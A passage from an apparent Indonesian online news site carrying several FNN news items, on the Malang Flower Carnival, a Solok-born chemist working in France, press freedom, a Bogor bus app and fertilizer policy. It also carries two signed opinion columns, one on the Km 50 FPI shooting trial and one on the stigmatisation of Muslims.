kreatif dan pariwisata, yang berbasis pada potensi keunggulan budaya lokal Kota Malang. "Yang pada akhirnya bisa memberikan multiplier effect bagi para pelaku ekonomi kreatif secara berkelanjutan," katanya. Kementerian Pariwisata dan Ekonomi Kreatif, memberikan dukungan penuh pada penyelenggaraan MFC 2021 sebagai bentuk sinergi jangka panjang. Diharapkan, MFC 2021, bisa mempromosikan pariwisata Indonesia khususnya seni kreatif Kota Malang. "MFC 2021, saya harapkan bisa memperkenalkan dan mempromosikan pariwisata Indonesia, khususnya seni kreatif Kota Malang, sebagai daya tarik wisata ke tingkat dunia internasional, untuk memperkuat branding Wonderful Indonesia," ujarnya. Pada gelaran MFC 2021, mengusung tema "Great Garudheya Nuswantara", yang berarti Garuda Perkasa. Tema tersebut terinspirasi dari dari Arca Garudheya yang ada di relief Candi Kidal Malang, dan hanya diikuti oleh kurang lebih sebanyak 70 peserta dari berbagai daerah. Sebelum pandemi COVID-19, penyelenggaraan Malang Flower Carnival yang merupakan parade karnaval terbesar di Kota Malang tersebut, diikuti oleh ratusan peserta, yang berasal dari berbagai wilayah Indonesia. Ajang tahunan yang masuk dalam 100 Calendar of Event Kementerian Pariwisata tersebut merupakan lomba busana dengan tema bunga, dengan jarak pentas peraga mencapai 800 meter yang berlokasi di sepanjang Ijen Boulevard Kota Malang. (mth)

Kisah Anak Tukang Jahit Peraih Gelar PhD dan Berkarier di Prancis

Padang, FNN - Keterbatasan ekonomi karena hanya terlahir dari keluarga sederhana, tidak memupus semangat Siska Hamdani untuk bersekolah tinggi mewujudkan cita-cita terbaik. Meski hanya terlahir dari seorang ayah yang hanya sebagai penjahit pakaian, wanita asal Nagari Guguk, Kecamatan Gunung Talang, Kabupaten Solok, Sumatera Barat, itu mampu menamatkan pendidikan hingga S3 di luar negeri dan kini ia berkarier di perusahaan Électricité de France S.A (EDF) sebuah perusahaan utilitas listrik di Prancis. Di tengah keterbatasan, sejak kecil, perempuan kelahiran 25 Januari 1980 itu telah menunjukkan prestasi gemilang ketika menempuh pendidikan SDN 01 Jawi-Jawi di Kabupaten Solok dengan meraih juara umum di sekolahnya. Anak dari pasangan Yulizar (69) dan almarhumah Yasma Erni itu tamat SD pada 1992. Siska melanjutkan sekolah ke SMP 3 Gunung Talang. Di SMP, ia berhasil meraih juara umum dan juga sering dilibatkan pihak sekolah untuk mengikuti lomba P4 tingkat provinsi dan lomba lomba pidato Bahasa Inggris. Menyelesaikan SMP pada 1995, Siska kemudian melanjutkan sekolah ke Kota Padang, yaitu Sekolah Menengah Analisis Kimia Padang (SMAKPA). Di sekolah yang berada di bawah Kementerian Perindustrian itu, Siska juga mendapatkan beasiswa gratis uang SPP, karena meraih juara umum sejak dari catur wulan III. Saat masuk SMAKPA tak sedikit cemooh dari orang kampung yang ia terima. Siska dinilai sebagai anak tidak tahu diri karena bersekolah ke Padang. Mereka menilai biaya sekolah di Padang mahal, sementara orang tuanya tidak mampu. Namun orang tua Siska tidak terlalu menanggapi karena mereka yang mencemooh itu juga tidak tahu kalau ia mendapatkan beasiswa penuh sejak tahun kedua sekolah. Setelah menamatkan pendidikan di SMAKPA ia pun melanjutkan kuliah ke Akademi Teknologi Industri Padang (ATIP). Di kampus ATIP Siska mendapatkan beasiswa semester gratis dari Bumi Asih, karena meraih nilai IP rata-rata 3,98 hingga 4,0. Bahkan, berkat kecerdasan yang dimilikinya, ia berhasil menamatkan kuliah dalam waktu 2,5 tahun dari rata-rata masa kuliah di ATIP empat tahun. Setelah tamat dari ATIP, ia banyak mendapat nasihat dari orang-orang hebat yang merupakan akademisi di Unand, seperti Prof Novesar Jamarun, yang pernah menjadi Pembantu Rektor I Unand 2006-2010, dosen jurusan kimia Unand Zam Sibar dan almarhum Rusdi Jamal yang pernah menjadi Wakil Rektor I Unand. “Mereka menyarankan saya untuk melanjutkan kuliah ke Universitas Gadjah Mada. Dengan senang hati, saya pun kemudian mengikuti saran tersebut,” kata dia. Namun, upaya Siska untuk bisa kuliah terbentur dengan kondisi ekonomi orang tua yang pas-pasan, karena hasil dari pekerjaan sang ayah sebagai penjahit pakaian yang nyambi menjadi petani ladang, hanya mampu untuk biaya kebutuhan sehari-hari keluarga dan juga biaya sekolah dua orang adik-adiknya. Belum lagi cemooh orang kampung terhadap keinginannya untuk melanjutkan kuliah S1 di UGM. Meski begitu, Siska tak menghiraukan cemoohan tersebut. Ia pun kemudian mencoba untuk meminta bantuan ke teman-temannya waktu sekolah di SMAKPA. Gayung bersambut, tiga orang temannya yang alumni SMAKPA bernama Ari Satriawan, Basri Hamdani dan Andre yang saat itu sudah bekerja di Jakarta, patungan untuk meminjamkan uang sebesar Rp 4 juta untuk biaya masuk UGM. Tahun 2002, Siska pun masuk sebagai mahasiswi baru di jurusan Kimia Fakultas MIPA UGM. Di tahun kedua kuliah, Siska lagi-lagi terbentur persoalan ekonomi keluarga, karena orang tuanya tidak punya uang untuk membayar biaya. Bahkan ketika itu, orang tuanya juga sempat mengajukan permohonan ke pemda dengan membawa bukti IP 3,98 yang diraihnya. Tapi sayangnya bantuan itu tidak dia dapatkan. “Papa begitu sedih saat itu. Saya di tanah rantau ketika itu juga panik memikirkan uang kuliah. Setiap hari saya berdoa kepada Allah SWT agar diberi kemudahan,” ujarnya. Doa Siska pun dijabah Allah SWT. Ia mendapatkan beasiswa sebesar Rp 1,2 juta dari PT Semen Padang dan dari dana beasiswa itu akhirnya Siska bisa membayar uang semesternya. Bukan kali itu saja, tapi PT Semen Padang juga memberikan beasiswa sampai Siska tamat kuliah pada 2004. Berkat beasiswa itulah ia bisa menyelesaikan kuliah di UGM pada 2004 dan ia merasa belum tentu bisa bekerja dan menetap di Paris jika tak ada beasiswa tersebut. Kuliah di Luar Negeri Setelah tamat dari UGM, Siska kemudian diterima bekerja di Buckman Laboratories (Asia) Pte Ltd, sebuah perusahaan multi internasional asal Amerika. Oleh perusahaan, ia ditempatkan sebagai Sales Technical Support untuk PT Riau Andalan Pulp and Paper (RAPP) di Kabupaten Pelalawan, Provinsi Riau, selama enam bulan. Kemudian di pertengahan 2005, ia mendapat tawaran tiga program beasiswa S2, yaitu beasiswa program inpex scholarship di Jepang, beasiswa France Excellence di Ecole Nationale Supérieure de Chimie de Montpellier dan beasiswa dari Buckman Laboratories di Mervis, Amerika. Dari ketiga beasiswa tersebut, Siska mantap memilih beasiswa France Excellence, karena keahlian kimia di Prancis sangat terkenal di dunia. “Selain karena keahlian kimia Prancis sangat dikenal, motivasi saya kuliah di Prancis juga ingin belajar bahasa Prancis, karena kalau untuk Bahasa Inggris saya sudah fasih,” kata Siska. Beasiswa France Excellence tersebut tidak mudah untuk didapatkan. Karena beasiswa France Excellence itu diberikan kepada 150 orang di dunia dan dirinya merupakan satu-satunya dari Indonesia dan yang pertama mendapatkan beasiswa tersebut. Saat menerima beasiswa, ia juga sempat dicemooh oleh seseorang dari lembaga Prancis yang bekerja untuk membantu mahasiswa Indonesia. Ketika itu ia dipaksa untuk les bahasa Prancis enam bulan, tapi tidak mau karena biaya lesnya mahal. "Mereka juga tidak tahu kalau saya dapat summer class selama dua bulan belajar Bahasa Prancis yang biayanya ditanggung oleh oleh Pemerintah Prancis,” katanya. Setelah menyelesaikan program master di Ecole Nationale Supérieure de Chimie de Montpellier dengan skala 18,5 dari 20, pada 2007 Siska kemudian melanjutkan program PhD (setingkat doktor) Doctorat en physico-chimie des matériaux polymères atau spesialis bidang polimer untuk kabel tegangan tinggi di Université Montpellier II. Ia menulis disertasi tentang silikon untuk aplikasi pada suhu tinggi, seperti kabel keamanan. Bahkan, di Université Montpellier II, penelitian dasar terkait dengan pengisian mineral, mekanisme tahan api juga telah dipatenkan dan dipublikasikan. Ada lima buku yang telah ditulis dan telah dipublikasikannya, serta juga beberapa paten yang telah dikantongi Siska selama menjalani studi PhD di Prancis, di antaranya, Composition Aqueuse Ignifuge dari FR Paten Nasional Prancis, Fabric Comprising a transpoarent, fire-resistant coating dari European Worldwide Panten, dan Polystyréne Expancé Ignifiguré par Hydroxide d'Aluminium dari FR Paten Nasional Prancis. “Program PhD itu juga merupakan beasiswa yang ditawarkan oleh orang Rusia di Université Montpellier II. Mereka menawarkannya, karena mereka tertarik dengan tesis saya, yaitu inovasi baru yang dapat meluruskan rambut keriting orang Afrika,” katanya. Setelah menyelesaikan program PhD pada 2011, Siska kemudian diangkat menjadi asisten dosen di laboratorium Université Montpellier II. Kemudian pada tahun 2014-2015, menjadi asisten dosen Ingénierie des Matériaux Polymères à l’INSA de Lyon, yang merupakan pusat polimer nomor satu di Prancis. Setelah di de Lyon, Siska kemudian bekerja di Research And Innovation Engineer dari Maret 2015- Juli 2018. Sejak Oktober 2018 sampai saat ini, Siska bekerja di EDF dan ditempatkan sebagai spesialis polimer di Edvance yang merupakan anak perusahaan EDF. Kini, Siska tinggal Kota Versailles, dekat Paris, Prancis, dan telah menikah dengan ahli IT di perusahaan Saint Gobain untuk Aerospace, dan juga seorang muallaf berkebanggsaan Prancis bernama Jerome pada Desember 2009 di kampung halamannya Nagari Guguk, Kabupaten Solok. Dari pernikahannya, Siska dan Jerome dikaruniai dua orang anak, masing-masing bernama Sileana Nilam (9 tahun), dan Emili Intan (2,5 tahun). Meski sudah belasan tahun di Prancis, Siska hingga kini masih tetap berstatus sebagai warga Negara Indonesia (WNI). “Sampai sekarang ini saya masih megang paspor hijau. Meski lama di Prancis dan anak saya juga sudah sekolah di Prancis, sampai sekarang tidak terpikir untuk menjadi warga negara Prancis, karena kalau menjadi warga negara Prancis, status sebagai WNI akan hilang," katanya. Ia juga punya kartu residence Prancis yang masa berlakunya 10 tahun. Sebelumnya Siska pernah mendapatkan tawaran menjadi dosen, yaitu dari Universitas Bina Nusantara (Binus) dan UGM. "Di Binus, tawaran tersebut langsung datang dari rektor, sedangkan di UGM tawaran itu dari pembibing saya waktu kuliah di Yogyakarta. Namun karena saya punya penyakit autoimun sejak 2006, maka tawaran itu saya tolak,” katanya. Selain autoimun, sebut Siska, matanya juga sudah rabun. Bahkan kalau pulang kampung, dia pun kadang dibilang sombong, padahal dirinya tidak bisa melihat orang dengan jelas, kecuali jarak dekat, misalnya sekitar 10-15 meter. "Kalau lebih dari itu, agak samar pandangan saya. Biaya pengobatan di Indonesia juga mahal. Sedangkan di Prancis, biaya medis ditanggung pemerintah," kata dia. Sementara untuk kerja di Prancis tidak menjadi masalah karena toleransinya tinggi, karena yang mereka inginkan itu hanya hasil. "Itu sebabnya kenapa sampai sekarang ini saya memilih untuk menetap di Prancis ini, meskipun awalnya saya tidak ada niat sedikitpun untuk menetap di Prancis. Namun begitu, saya rutin pulang kampung sekali setahun, kecuali sejak pandemi COVID-19 ini,” ujarnya. Ia berpesan kepada anak-anak muda di Sumatera Barat dan para penerima beasiswa dari PT Semen Padang khususnya, bahwa kesuksesan yang diraih saat ini, tidak terlepas dukungan banyak pihak dan doa dari orang tua. “Teruslah rajin, giat belajar dan kejar cita-cita . Jangan pernah menyerah dan tidak usah dihiraukan apapun ocehan dan celaan orang lain, karena sesungguhnya saingan terberat adalah diri sendiri," katanya. Sementara ayah Siska, Yulizar mengaku bersyukur dan bangga atas kesuksesan anak sulungnya itu. Ia dan istrinya sempat melarang Siska untuk melanjutkan kuliah ke Prancis, karena penghasilan Siska saat bekerja di perusahaan Amerika setelah lulus dari UGM sangat besar, yakni sekitar 1.000 Dolar Amerika Serikat . Di tambah lagi Siska yang saat itu masih berstatus lajang, tentunya sebagai orang tua Yulizar dan istrinya khawatir membiarkan anaknya seorang diri terpisah jauh di negeri orang. “Karena Siska tetap gigih pada pendiriannya, saya dan mamanya merestui keingingan Siska untuk kuliah di Prancis,” katanya. Ia mengungkapkan, awalnya terasa berat melepas Siska kuliah ke Prancis, namun karena tekad anaknya itu untuk melanjutkan pendidikan sangat kuat, mau tidak mau ia sebagai orang tua harus memberikan izin. “Apalagi ini untuk masa depannya Siska. Karena bagi saya sebagai orang tua, kami tidak ingin anak-anak hidup susah. Cukup kami sebagai orang tua yang merasakannya,” tutur Yulizar. Kesuksesan yang diraih Siska kini turut dirasakan oleh keluarganya di kampung. Bahkan, Siska pun juga telah memberangkatkan kedua orang tuanya naik kaji ke Mekah pada 2010 dan juga ikut membantu membiayai kuliah adik bungsunya bernama Andam Sari (27) di UGM. Menurut Yulizar, ibaratnya, Siska ini sebagai "pambangkik batang tarandam" atau membangkitkan kehormatan di keluarga. "Karena berkat kerja kerasnya, adiknya juga bisa kuliah ke UGM, dan alhamdulillah juga memberangkatkan saya pergi haji. Bahkan, Siska juga merenovasi rumah di kampung,” kata Yulizar. (mth)

Ketum AJI: Indeks Kemerdekaan Pers Indonesia Naik Bukan Karena Membaik

Jakarta, FNN - Ketua Umum Aliansi Jurnalis Independen (AJI) Sasmito Madrim mengatakan indeks kemerdekaan pers Indonesia dalam skala global yang naik 6 peringkat di 2021 bukan berarti ada perbaikan, karena masih ditemukan banyak kasus kekerasan terhadap jurnalis. Menurut Sasmito Madrim, kenaikan peringkat dari 119 pada 2020 menjadi 113 di 2021 yang dinilai oleh Reporters Sans Frontieres (RSF) atau Reporter Without Borders (RWB) sebagai lembaga pemantau kebebasan pers dari media di seluruh dunia yang berkedudukan di Prancis itu, disebabkan oleh indeks kemerdekaan pers secara global memang sedang memburuk. “Indonesia peringkatnya naik itu, karena negara-negara lain memburuk,” kata Sasmito, saat menjadi narasumber dalam webinar nasional bertajuk “Paradoks Kebebasan Berpendapat: Pembungkaman hingga Kekerasan terhadap Jurnalis” yang disiarkan secara langsung dalam kanal YouTube Aspirasi Online, dipantau dari Jakarta, Ahad. Dalam menilai peringkat kemerdekaan pers, ujarnya, RSF mempergunakan tiga indikator dari sisi politik, kebijakan, dan ekonomi. Bila diamati, ketiga ranah itu belum sepenuhnya mendorong perbaikan kemerdekaan pers di Indonesia. Berdasarkan data yang dikumpulkan oleh AJI pada setiap tahunnya, justru terdapat peningkatan jumlah kasus kekerasan terhadap jurnalis di Indonesia sejak 2009 hingga 2020. Namun, catatan data dari AJI tersebut terbatas pada kegiatan pemberitaan. “Ini lagi-lagi saya tekankan, data yang dicatat oleh AJI hanya yang berkaitan dengan pemberitaan. Kalau ada jurnalis yang lagi jalan-jalan, kemudian dipukuli oleh orang dan tidak terkait pemberitaan, tidak dicatat oleh AJI,” ujar Sasmito Madrim. Dari catatan yang disampaikannya dalam webinar nasional yang diselenggarakan oleh Lembaga Pers Mahasiswa (LPM) Aspirasi Universitas Pembangunan Nasional Veteran Jakarta itu, jumlah kasus kekerasan tertinggi terhadap jurnalis selama kegiatan pemberitaan ada pada tahun 2020, yaitu sebanyak 84 kasus. Meskipun di tengah pandemi yang membatasi pertemuan tatap muka, menurut Ketua Umum AJI ini, harapan terhadap menurunnya kasus kekerasan secara langsung yang dialami para jurnalis di Indonesia belum dapat terwujud. Nyatanya, jumlah kasus justru meningkat. Untuk itu, AJI terus mengusahakan dialog dengan DPR, khususnya dari Badan Legislasi DPR RI untuk mengawasi kinerja ataupun dugaan-dugaan pidana yang dilakukan terhadap jurnalis di Indonesia. Dengan demikian, Sasmito juga berharap ada perbaikan yang dilakukan secara kolaboratif antara jurnalis, masyarakat, dan pemerintah untuk mengambil langkah dalam mewujudkan kemerdekaan pers di Indonesia. (mth)

BisKita TransPakuan Sediakan Aplikasi untuk Lihat Jadwal Bus

Jakarta, FNN - Layanan BisKita TransPakuan di Kota Bogor, yang akan diluncurkan November, memanfaatkan aplikasi digital antara lain untuk melihat jadwal bus. "Oleh karena itu selain keharusan pemenuhan standar layanan, kami juga memberikan dukungan aplikasi digital untuk kemudahan pelayanan bagi masyarakat," kata Kepala Badan Pengelola Transportasi Jabodetabek, Kementerian Perhubungan, Polana B. Pramesti, dalam siaran pers, Ahad. BisKita TransPakuan akan diluncurkan pada 2 November mendatang, mengusung konsep Bus Rapid Transit (BRT) untuk Kota Bogor. Layanan BRT ini seperti TransJakarta yang ada di DKI Jakarta, namun, belum menggunakan lajur khusus. Aplikasi BisKita tersedia di Google Play Store, menurut keterangan BPTJ aplikasi tersebut baru ada untuk ponsel berbasis Android. Pengguna bisa melihat informasi seputar angkutan umum tersebut antara lain headway atau jarak kedatangan dan keberangkatan bus. Informasi terkini layanan ini juga akan diumumkan melalui akun media sosial @biskita.id. Untuk mendukung pengawasan dan keselamatan, setiap bus dipasangi perangkat internet of things (IoT) untuk menghitung jumlah penumpang, pelacakan GPS dan kamera pengawas. BisKita merupakan program subsidi pemerintah pusat untuk pengembangan transportasi umum di wilayah Bogor, Depok, Tangerang dan Bekasi. Kota Bogor mendapatkan subsidi ini karena berkomitmen membenahi transportasi wilayah perkotaan. Subsidi diberikan dalam skema "buy the service atau BTS, tahap awal skema ini adalah lelang operator layanan. Pemenang lelang untuk BisKita adalah Perusahaan Daerah Jasa Transportasi (PDTJ) yang merupakan BUMD Kota Bogor. Mereka bekerja sama dengan PT. Kodjari Tata Angkutan dan Lorena. Operator harus memenuhi aspek keselamatan, kenyamanan dan kemudahan layanan dengan standar pelayanan Bus Rapid Transit. Biaya operasional dibeli atau dibayar sebagai subsidi dari pemerintah pusat. Nama BisKita merupakan akronim dari Bus Inovatif, Solusi Transportasi Perkotaan Terintegrasi dan Andal. (mth)

Pemerintah Komitmen Jaga Ketersediaan dan Keterjangkauan Harga Pupuk

Jakarta, FNN - Pemerintah berkomitmen menjaga ketersediaan dan keterjangkauan harga pupuk baik subsidi maupun non subsidi untuk meningkatkan produktivitas lahan petani. Sekretaris Ditjen Prasarana dan Sarana Pertanian (PSP) Kementerian Pertanian RI Gunawan di Jakarta, Minggu mengatakan pupuk sebagai salah satu sarana produksi yang sangat strategis bagi pertanian. Selain mempengaruhi capaian produksi, tambahnya, pupuk juga memiliki dampak sosial sangat luas karena menjangkau sekitar 17 juta petani, pada 6063 Kecamatan, 489 Kabupaten dan 34 Provinsi. "Upaya peningkatan produktivitas pertanian dapat terwujud salah satunya dukungan dari kegiatan pemupukan.Proses pemupukan yang tepat sasaran berkontribusi tinggi dalam pencapaian produksi pertanian seperti padi," ujarnya melalui keterangan tertulis. Berdasarkan data Ditjen PSP Kementan RI, dalam lima tahu terakhir kebutuhan pupuk untuk petani mencapai 22,57 - 26,18 juta ton atau senilai Rp63-65 triliun Tetapi, lanjutnya, keterbatasan anggaran pemerintah menyebabkan hanya dapat mengalokasikan pupuk bersubsidi sebanyak 8,87 juta- 9,55 juta ton dengan nilai anggaran Rp25-32 triliun. Sebelumnya Ketua Umum Asosiasi Petani Kelapa Sawit Indonesia (Apkasindo) Gulat Manurung menyatakan petani sawit meminta pemerintah untuk melindungi tata kelola pupuk non subsidi, karena harganya melonjak tinggi dalam delapan bulan terakhir, baik pupuk tunggal dan majemuk naik antara 70-120 persen. Dia mencontohkan pupuk urea sudah dipatok seharga Rp4.500/kg sebelum adanya kenaikan, namun sekarang sudah mencapai di atas Rp6.000/kg. Kondisi tersebut berdampak pada pendapatan petani, karena harga pokok produksi (HPP) tandan buah segar (TBS) sewaktu harga pupuk masih normal Rp794 per kg, namun kini Rp1.350 per kg karena 58 persen pengeluaran untuk biaya pupuk. "Pendapatan petani sekarang hanya Rp815.000/ha/bulan dari sebelumnya Rp1,1 juta/ha/bulan. Harga sawit Rp3.000 per kg, tapi kami turun pendapatan," ujarnya dalam webinar Forum Wartawan Pertanian (Forwatan) bertemakan “Perbaikan Tata Kelola Pupuk: Realitas dan Fakta". Oleh karena itu Apkasindo meminta pemerintah segera mencari tahu penyebab kenaikan harga pupuk dan meminta BUMN pupuk tidak ikut-ikutan menaikkan harga. "Kami berharap Komisi IV DPR RI bisa segera memanggil kementerian terkait untuk mengevaluasinya," ujar dia. Sementara itu Direktur Pupuk dan Pestisida Ditjen PSP Kementerian Pertanian Muhammad Hatta ada lima potensi masalah yang menjadi persoalan pupuk bersubsidi yaitu perembesan antar wilayah, isu kelangkaan pupuk, mark up Harga Eceran Tertinggi (HET) pupuk di tingkat petani, alokasi menjadi tidak tepat sasaran, dan produktivitas tanaman menurun. "Memang masalah tadi akan berdampak lebih lanjut bagi turunnya produktivitas tanaman. Disebabkan petani tidak menggunakan tepat waktu dan jumlahnya," katanya. Terkait tata kelola pupuk bersubsidi, tambahnya, Kementerian Pertanian melibatkan multi pihak dalam pengaturan tata kelola pupuk bersubsidi. Artinya, tidak bekerja sendiri dalam mengurus pupuk bersubsidi. Seperti di tingkat perencanaan dijalankan Kementan, penyaluran oleh PIHC (Pupuk Indonesia Holding Company), verifikasi dan monitoring dibantu pemerintah daerah. (mth)

Dagelan yang Tak Mengundang Kelucuan

Oleh Ady Amar *) ORANG boleh menyebut ini dengan aneh bin ajaib, saat logika hukum coba dinafikan, dan itu tanpa aturan hukum. Setidaknya itu bisa terlihat dalam persidangan pembunuhan tanpa proses hukum (unlawful killing) atas tewasnya 6 syuhada laskar Front Pembela Islam (FPI), di mana tokoh utama dalam pusaran kasus itu, Habib Rizieq Shihab, dianggap sebagai pihak yang tidak perlu diminta kesaksiannya. Unlawfil killing atas tewasnya 6 syuhada itu tidak terlepas dari Habib Rizieq, bahkan kasus itu seolah bagai prangko yang menempel pada amplop, mustahil terpisahkan. Tentu jika kasus itu kita bedah secara obyektif, bersandar pada kaidah hukum itu sendiri. Habib Rizieq mestinya menjadi pihak utama yang "wajib" didengar kesaksiannya, baik oleh Komnas HAM, polisi, dan jaksa, karena mereka yang terbunuh itu sedang mengawalnya. Hal biasa santri mengawal ulama/kyainya, sebagaimana yang dilakukan 6 anak muda itu. Dalam tugas pengawalan itulah peristiwa pembunuhan tragis itu terjadi, yang mustahil bisa dihilangkan dari memori publik. Penembakan yang terjadi di Km 50 tol Jakarta-Cikampek, pada 7 Desember 2020, yang dikenal dengan Tragedi Km 50. Tepat diseberang tempat kejadian terdapat rest area, yang kini sudah tidak bisa ditemukan lagi, dibongkar-diratakan dengan tanah. Jejak rest area yang seolah ingin dikubur bersama para syuhada, yang mustahil bisa "terkubur" dengan nyenyak. Kasus itu pastilah akan terus menghantui siapa saja yang terlibat dalam upaya penghilangan nyawa anak manusia, baik aktor intelektual maupun eksekutornya. Kasus Tragedi Km 50 sudah hampir setahun, tapi baru Senin, 18 Oktober 2021 diangkat ke pengadilan. Dua terdakwa unlawful killing dihadirkan, Ipda Yusmin Ohorella dan Briptu Fikri Ramadhan. Satu lagi terdakwa yang semestinya dihadirkan di persidangan, yaitu Ipda Elwira Priadi Z, tapi keburu meninggal dunia, pada 4 Januari 2021. Meski luput di sidang pengadilan dunia, mustahil bisa lolos di pengadilan akhirat kelak. Pengadilan Negeri (PN) Jakarta Selatan dipilih sebagai tempat disidangkannya dua terdakwa tadi. Menyita perhatian publik, terutama para keluarga yang kehilangan anak-anaknya. Mereka, para keluarga korban, menantikan keadilan yang sebenarnya. Meski tampaknya itu sulit bisa didapat, bahkan bisa terjadi sebaliknya. Bukan keadilan yang didapat, justru kekecewaan. Sidang pengadilan ini dihadirkan bak dagelan dan lucu-lucuan, setidaknya itu yang disampaikan Aziz Yanuar, SH, salah seorang pengacara pihak keluarga. Tendensi pengadilan dengan corak "dagelan", menjadi wajar jika lalu Habib Rizieq Shihab, yang masih berada di tahanan Bareskrim Polri, meminta agar Komisi III DPR RI, memanggil pihak-pihak berkompeten, diantaranya jajaran Kapolri, Jaksa Agung, Komnas HAM, Menkopolhukam dan bahkan Presiden, untuk memastikan sidang pengadilan berjalan fair. Semestinya tanpa diminta pun Wakil Rakyat wajib mengawal jalannya persidangan, agar keadilan semestinya bisa dihadirkan. Permintaan sewajarnya itu tampaknya belum akan direspons positif, setidaknya signal respons itu belum terdengar. Semoga itu bukan ibarat tangan menangkap angin yang tanpa hasil. Melihat kecenderungan jalannya persidangan, di mana tersangkanya adalah polisi, dan penyelidiknya pun polisi. Layaknya semacam jeruk makan jeruk. Ditambah lagi, jaksa penuntut umum (JPU), juga menghadirkan mayoritas saksi yang juga polisi. Melihat "pemandangan" demikian, jika lalu muncul sikap skeptis, tentu menjadi wajar. Seperti Menghafal Skenario Konstruksi peristiwa coba dibangun, alur kronologi dikisahkan dengan detail, sampai laku diuraikan secara rinci, itu agar Majelis Hakim bisa menerima argumen yang dibangun tim JPU. Maka dimunculkan sesosok saksi bernama Ratih, yang mengatakan melihat samurai dari hasil penggeledahan di mobil warna abu-abu milik laskar FPI. Lalu, Ratih menceritakan dengan ingatannya yang sungguh super, meski pada saat tertentu ia mengatakan bahwa ia tidak ingat karena peristiwa sudah cukup lama. Terbangun dari lelap tidur di warung tempatnya bekerja, cerita Ratih dimulai, ia mendengar bunyi rem mobil yang seperti mengerem mendadak. Ia melihat laki-laki dengan celana pendek membawa pistol menghampiri mobil warna abu-abu milik laskar FPI, sambil mengetuk-ngetukkan pistolnya di kaca mobil, sambil berseru kasar, keluar... keluar... Maka 4 orang keluar dari pintu sebelah kiri. Satu dari 4 orang itu diperintah tiarap. Lanjut cerita Ratih, lelaki bercelana pendek itu lalu menggeledah mobil dan menemukan 4 ponsel genggam. Luar biasa saksi Ratih ini, yang bahkan di kegelapan malam/dini hari pun bisa melihat dengan jelas samurai, dan bahkan ponsel sampai jumlahnya segala. Ingatan Mbak Ratih cukup rapi sebagai saksi. "HP yang diambil ada 4, yang memeriksa saya sudah lupa berapa orang soalnya sudah lama. Yang di dalam mobil diperiksa, ada 2 orang, yang satu diseret keluar mobil dan yang satu dibawa dengan mobil polisi," ujar Ratih dalam kesaksiannya. Saksi kedua pun dihadirkan. Namanya, Eis Asmawati binti Solihan. Ia sohib si Ratih, yang bekerja di warung yang sama. Ternyata Eis punya penemuan lain. Ia katakan, bahwa ia melihat ada 4 buah samurai. Beda dengan si Ratih yang hanya melihat 1 samurai. Bisa jadi pandangan mata satu orang dengan yang lain tidak sama. Yang satu bisa melihat dari kejauhan benda kecil (ponsel) dengan baik sampai pada jumlahnya, tapi pada kesempatan yang sama ia tidak bisa melihat jumlah benda yang lebih besar (samurai) dengan baik. Pengelihatan jadi dikesankan sama dengan hafalan pada skenario sebuah drama, yang terkadang lupa diingat dengan baik. Setidaknya itu yang dikesankan para saksi. Tugas pengacara nantinya yang bisa mengulik satu persatu apa yang disampaikan para saksi yang dihadirkan. Tapi satu hal yang semua tahu, bahwa membawa senjata tajam apalagi senjata api, itu hal yang terlarang bagi laskar FPI. Waktu nantinya yang bisa menjawab semuanya. Jika pengadilan dunia tidak menghadirkan rasa keadilan, maka pastilah di pengadilan akhirat semua pihak yang turut andil dalam pelenyapan nyawa anak manusia, akan menerima konsekuensi atas perbuatannya. Pernyataan Pak Syuhada, ayah dari salah satu korban, Faiz Ahmad Syaikhu, yang mengatakan dengan penuh kecewa dan geram, "Sidang abal-abal itu tidak akan sedikit pun memenuhi rasa keadilan. Justru sebaliknya, semakin menambah (rasa) kezaliman di mata rakyat." Perasaan Pak Syuhada, itu bisa jadi mewakili perasaan keluarga para korban lainnya, yang merasakan kesumpekan hati melihat keadilan sedang tidak berpihak pada nilai kemanusiaan yang adil dan beradab. (*) *) Kolumnis

Membonsai Umat Islam

Oleh Yusuf Blegur Setelah beberapa dekade, gelombang stigma intoleran, radikalis dan fundamentalis menerpa umat Islam, kini isu khilafah dicap sebagai konsep negara yang berbahaya, tak kalah dahsyatnya dibuat seperti wabah yang menjangkiti perspektif politik Islam. Islam terus menerus dibentuk dan dipaksa dengan framing jahat konspirasi global. Seakan tiada tempat bagi gerakan kesadaran dan peran Islam dalam peradaban dunia modern. Islam hanya diberi ruang ritual keagamaan, namun tidak bagi eksistensi politik. Kemenangan Taliban di negara Afganistan yang dipimpin khilafah, tidak serta-merta membuat dunia berhenti mengecap Islam sebagai negara teroris. Justru semakin membuat kewaspadaan terhadap Islam semakin meningkat. Fragmentasinya juga berimbas di Indonesia. Sentimen keislaman semakin subur dengan agitasi dan propaganda bahaya khilafah di Indonesia. Sebagai negara dengan mayoritas muslim terbesar di dunia. Indonesia termasuk negara yang paling terdampak signifikan dari upaya membangun stereotip umat dan agama Islam. Islam terkesan menjadi agama dengan populasi yang eksklusif, tertutup dan tidak ramah terhadap komunitas luar. Padahal Islam adalah agama yang mengusung konsep 'rahmatan lil a'lamin'. Agama yang visioner dan futuristik yang menembus batas dimensi lahiriah dan spiritual. Agama wahyu Ilahi yang meretas kehidupan dunia dan akherat. Globalisasi kemudian bersikeras mencoba menurunkan anti tesis nilai-nilai Islam dalam program-progam dunia bertajuk demokratisasi, HAM, lingkungan, perubahan iklim, perdagangan bebas dsb. Secara tidak langsung menjadi kesepakatan internasional yang harus diikuti oleh negara-negara dunia ketiga termasuk umat Islam didalamnya. Umat Islam tanpa sadar dipaksa keluar dan meninggalkan syariat Islam. Tak ubahnya populasi yang hidup diluar habitatnya. seperti ikan yang dipisahkan dari air. Selain terus melakukan ekspansi prinsip-prinsip dasar kapitalisme (penguasaan bahan baku, produksi dan distribusi pasar) pada seluruh dunia. Persaingan dan pertarungan ideologi kapitalis dan sosialis yang direpresentasikan oleh Amerika Serikat dan China beserta sekutunya masing-masing. menempatkan kedua mainstream itu sebagai pemain utama dunia. Sepertinya globalisasi yang mengusung sekulerisasi dan liberalisasi. Melanjutkan kembali era perang dingin saat Amerika Serikat dan Uni Soviet berseteru. Saat ini dunia diselimuti kecenderungan "proxy war" atau perang asimetri. Dunia modern membuka diri terhadap berlangsungnya perang "Chemical, Biologycal, Radio Active and Explosive" (CBRE) dan Siber. Sebuah situasi dimana bukan saja perang informasi dengan memanfaatkan era digitalisasi. Namun memungkinkan penggunaan senjata biologis saat terjadi konflik antar negara. Situasi perang yang jika benar-benar terjadi dapat menciptakan pemusnahan massal umat manusia. Dunia kini berada dalam pusaran pengaruh kekuatan Amerika dengan dukungan negara-negara seperti Inggris, Perancis, Italia dll. Begitupun dengan China yang didukung Rusia, Korea Utara, India dll. Sejalan dengan bergulirnya 